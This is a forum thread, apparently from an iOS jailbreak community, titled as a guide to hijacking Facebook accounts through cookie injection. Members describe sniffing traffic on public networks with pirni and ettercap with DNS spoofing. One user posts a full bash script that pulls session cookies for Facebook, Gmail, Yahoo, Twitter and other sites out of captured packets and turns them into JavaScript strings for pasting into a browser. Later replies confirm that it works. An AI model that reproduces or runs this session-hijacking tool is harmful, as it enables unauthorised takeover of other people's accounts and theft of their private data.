Author Topic: basic : how to hijack facebook account ( cookie injection )  (Read 2896 times)

Pfcdaoe

  • Noob
  • *
  • Posts: 5
  • Reputation: 0
Re: basic : how to hijack facebook account ( cookie injection )
« Reply #15 on: December 08, 2012, 08:36:38 am »
So in short. You cant select the user you want to mess with, it is at random?

Please excuse me if im completely wrong but, using pirni only allows packets on your network to be copied because you have to be connected to that network. Meaning your target has to access facebook on your network to be able to copy the network packets and cookies?

A12danrulz

  • Leader
  • Hero Member
  • *****
  • Posts: 4018
  • Reputation: 216
  • Badges:
Re: basic : how to hijack facebook account ( cookie injection )
« Reply #16 on: December 08, 2012, 08:46:45 am »
Correct

Markanees

  • Full Member
  • ***
  • Posts: 223
  • Reputation: 15
  • +1 would be appreciated
  • Computers: Dell inspiron 1520
  • iDevices: ipad 2 ios 5.1.1
Re: basic : how to hijack facebook account ( cookie injection )
« Reply #17 on: December 08, 2012, 09:22:03 am »
It can be useful on public network
Use fing to scan for ip ( free from app store ) it also shows the machine details running with this ip
You can also inject these cookies directly from ios by safari JavaScript ( there is a post on it in hacking support section )

AKUMA

  • Noob
  • *
  • Posts: 26
  • Reputation: -2
Re: basic : how to hijack facebook account ( cookie injection )
« Reply #18 on: December 08, 2012, 04:04:20 pm »
if the admin can allow, i can past the modified cookie derv .sh that handle javascript.
i prefer to use ettercap with dns_spoof (with lighttpd + phppod) n save pcap for cookie .sh for more result

Markanees

  • Full Member
  • ***
  • Posts: 223
  • Reputation: 15
  • +1 would be appreciated
  • Computers: Dell inspiron 1520
  • iDevices: ipad 2 ios 5.1.1
Re: basic : how to hijack facebook account ( cookie injection )
« Reply #19 on: December 08, 2012, 07:09:25 pm »
if the admin can allow, i can past the modified cookie derv .sh that handle javascript.
i prefer to use ettercap with dns_spoof (with lighttpd + phppod) n save pcap for cookie .sh for more result
i dont see why he would  mind xD

Don't like seeing ads? Click here to register!

Ironman

  • Administrator
  • Hero Member
  • *****
  • Posts: 5104
  • Reputation: 251
  • Badges:
  • Computers: ASUS UL50VT
  • iDevices: iPhone 5, iPhone 4S, iPhone 4, iPhone 3GS
Re: basic : how to hijack facebook account ( cookie injection )
« Reply #20 on: December 08, 2012, 07:32:24 pm »
Go for it AKUMA.
Click for How to Add Our Repo
If you're going to ask questions....
At least make them good ones.

Knowledge is the one thing that can never be taken from you

AKUMA

  • Noob
  • *
  • Posts: 26
  • Reputation: -2
Re: basic : how to hijack facebook account ( cookie injection )
« Reply #21 on: December 09, 2012, 07:25:00 am »
#!/bin/bash

# displays cookies
# yay, cookies!

file="/var/mobile/a.pcap"

cookie_file="/var/mobile/cookies.txt"


if [ -f $file ]; then
  cat $file | grep -a "Host: \|Cookie: " | while read line; do
      if [[ `echo "$line" | grep -i "Host: "` != "" ]]; then
        site=$(echo $line | sed 's/Host: //g')
        site=$(echo $site | sed 's/www.//g')
        site=$(echo $site | sed 's/[^a-zA-Z0-9&$@?!.,-:;#%*+=]//g')
        
        # check if this is a site we want the cookie for
        if [[ ! $site == facebook.com ]]     &&
           [[ ! $site == m.facebook.com ]]       &&
           [[ ! $site == *myspace.com ]]     &&
           [[ ! $site == *yahoo.com ]]       &&
           [[ ! $site == gmail.com ]]        &&
           [[ ! $site == *live.com ]]        &&
           [[ ! $site == *facebook.com ]]     &&
           [[ ! $site == *ebay.com ]]        &&
           [[ ! $site == twitter.com ]]; then
          # not what we want
          site=""
        fi
      else
        if [ ! $site == "" ]; then
          cookie=$(echo $line | sed 's/Cookie: //g')


          # split the cookie by delimiter ;
          arr=$(echo $cookie | tr "; " "\n")

         cookdata="${cookdata}\n\n""${site}\n""javascript:"

          # loop through every element of the cookie
          for x in $arr; do
            cname=${x%%=*}
            cdata=${x##*=}
           
cdata=$(echo $cdata | tr -dc '[:print:]')


              # cookie value
              cookdata="${cookdata}""void(document.cookie=\""${cname}"="${cdata}""\"")"";"""    
             
              
              # write new cookie data
              echo -e "$cookdata" > $cookie_file

          done # end of loop through every cookie value

          echo "($site) cookie found."

        fi # end of if ! site=""
        
      fi # end of site-or-cookie check
    
  done # end of loop-through-every-name
  

fi

exit 0

AKUMA

  • Noob
  • *
  • Posts: 26
  • Reputation: -2
Re: basic : how to hijack facebook account ( cookie injection )
« Reply #22 on: December 09, 2012, 07:28:51 am »
the only prob is it duplicates the cookies.
but it dumps all the cookies from 'a.pcap' and adding the javascript to 'cookies.txt' open up safari copy/past n refresh ;)

Markanees

  • Full Member
  • ***
  • Posts: 223
  • Reputation: 15
  • +1 would be appreciated
  • Computers: Dell inspiron 1520
  • iDevices: ipad 2 ios 5.1.1
Re: basic : how to hijack facebook account ( cookie injection )
« Reply #23 on: December 11, 2012, 06:46:46 am »
worked thanks bro but injectetion in safari using uafaker wont work so
i prefer to use google chrome without Uafaker it will work fine :) 

AKUMA

  • Noob
  • *
  • Posts: 26
  • Reputation: -2
Re: basic : how to hijack facebook account ( cookie injection )
« Reply #24 on: December 11, 2012, 09:17:58 am »
works fine without uafacker on safari using non mobile version (www.facebook.com)

Don't like seeing ads? Click here to register!